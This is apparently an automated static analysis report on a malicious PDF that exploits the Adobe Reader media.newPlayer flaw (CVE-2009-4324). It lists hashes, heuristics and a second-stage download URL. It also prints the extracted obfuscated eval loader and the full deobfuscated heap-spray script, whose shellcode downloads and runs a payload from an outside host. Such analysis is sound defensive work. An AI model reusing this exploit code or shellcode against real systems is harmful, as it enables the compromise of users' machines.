Malicious PDF — malware analysis report

Static analysis result for SHA-256 8236120a750f6c51…

MALICIOUS

PDF

1.9 KB First seen: 2026-05-10
MD5: 2682b45c7d72b547c31dd033978592a4 SHA-1: 2bf2bda3bc81111b6b21a427a77a92b2572824e2 SHA-256: 8236120a750f6c519c116edc4cb61ef63bf3345824f5c96b7a27abf2efa5aec5
358 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that utilizes eval() and unescape() functions, indicative of obfuscation and exploit attempts. The JavaScript is designed to exploit CVE-2009-4324, specifically targeting the media.newPlayer functionality. The primary goal appears to be downloading a second-stage payload from the URL http://www.neoaxial.org/data/.1/l.php?i=16, as indicated by the 'PDF_JS_SHELLCODE_DOWNLOAD_URL' heuristic and ClamAV detection of Js.Exploit.Shellcode-18.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.neoaxial.org/data/.1/l.php?i=16 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x6BA 297 bytes
SHA-256: 433d6141b5fc932a52d94051061c1f7566cbde37bb51ce636d76e20ed4ab2bf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2451 bytes
SHA-256: 87d1067b8e1dd7770f67e395d3adde810beb51ddda62c5c0a5a0aee63b2ac03a
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function a(){util.printd('p@111111111111111111111111 : yyyy111', new Date());}var h = app.plugIns;for (var f=0; f < h.length; f++){if (h[f].name=='EScript'){var i=h[f].version;}}if((i>8.12)&&(i<8.2)){c=new Array();var d = unescape('%u9090%u9090');var e = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u772f%u7777%u6e2e%u6f65%u7861%u6169%u2e6c%u726f%u2f67%u6164%u6174%u2e2f%u2f31%u2e6c%u6870%u3f70%u3d69%u3631%u9000');while(d.length <= 0x8000){d+=d;}d=d.substr(0,0x8000 - e.length);for(f=0;f<2900;f++) {c[f]=d + e;}a();a();try {this.media.newPlayer(null);} catch(e) {}a();}

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